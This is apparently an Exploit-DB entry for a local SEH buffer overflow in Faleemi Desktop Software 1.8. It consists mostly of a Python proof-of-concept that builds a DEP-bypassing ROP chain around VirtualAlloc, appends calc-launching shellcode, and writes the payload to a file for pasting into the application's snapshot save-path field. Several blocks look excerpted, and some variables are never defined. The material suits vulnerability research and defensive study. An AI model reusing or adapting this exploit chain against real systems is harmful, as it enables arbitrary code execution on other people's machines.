Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH) (DEP Bypass)

EDB-ID:
46269

CVE:
N/A

EDB Verified: ×

Author:
BZYO

Type:
LOCAL

Exploit: / {}

```
#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH)
(DEP Bypass)
# Date: 01-26-19
# Vulnerable Software: Faleemi Desktop Software 1.8
# Vendor Homepage: https://www.faleemi.com/
# Version: 1.8.0
# Software Link 1: http://support.faleemi.com/fsc776/Faleemi_v1.8.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open/copy contents of faleemidep.txt
# 3. open app, click on System Setup
# 4. paste contents of faleemidep.txt in "Save Path for Snapshot and Record
file" field
# 5. click on save
# 6. pop calc
```



```
#ECX = flProtect (0x40)
rop += struct.pack('<L',0x60047e71)  # POP ECX # RETN
rop += struct.pack('<L',0xffffffff)
for i in range(0,65): rop += struct.pack('<L',0x6004bcc7)  # INC ECX # RETN

#ESI = ptr to VirtualAlloc()
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN
rop += struct.pack('<L',0x6004f0bc)  # ptr to &VirtualAlloc()
rop += struct.pack('<L',0x68b88b96)  # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x73d63c82)  # XCHG EAX,ESI # RETN

#EDX = flAllocationType (0x1000)
# Math 1)FFFFFFFF - 0cc48368 = 0F33B7C97 Math 2)0F33B7C97 + 1001 =
F33B8C98)
rop += struct.pack('<L',0x68b832d3) # MOV EDX,0CC48368 # RETN
rop += struct.pack('<L',0x60036b1c) # POP EBX # RETN

rop += struct.pack('<L',0xF33B8C98)
rop += struct.pack('<L',0x6004e5ce)  # ADD EDX,EBX # POP EBX # RETN 0x10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
```

```
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10
rop += struct.pack('<L',0x60018222)  # ROP-NOP #compensate for POP and RETN
10

#EBP = ReturnTo (ptr to jmp esp)
#!mona jmp -r esp -cpb '\x00\x0a\x0d\x2f'
rop += struct.pack('<L',0x68b901e9) # POP EBP # RETN
rop += struct.pack('<L',0x73dd4206) # jmp esp

#EBX = dwSize (0x1)
rop += struct.pack('<L',0x73dbfebc) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff)
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x73dcbe1c) # INC EBX # XOR EAX,EAX # RETN

#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x6004aaca)  # POP EAX # RETN
rop += struct.pack('<L',0x90909090)  # NOPs
```



```
calc += "\x28\x3e\x11\x1f\xf5\xaa\x20\x42\x06\x01\x66\x7b\x85"
calc += "\xa0\x16\x78\x95\xc0\x13\xc4\x11\x38\x69\x55\xf4\x3e"
calc += "\xde\x56\xdd\x5c\x81\xc4\xbd\x8c\x24\x6d\x27\xd1"

pad = "D" * (7000-len(fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
```

Tags: Local Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions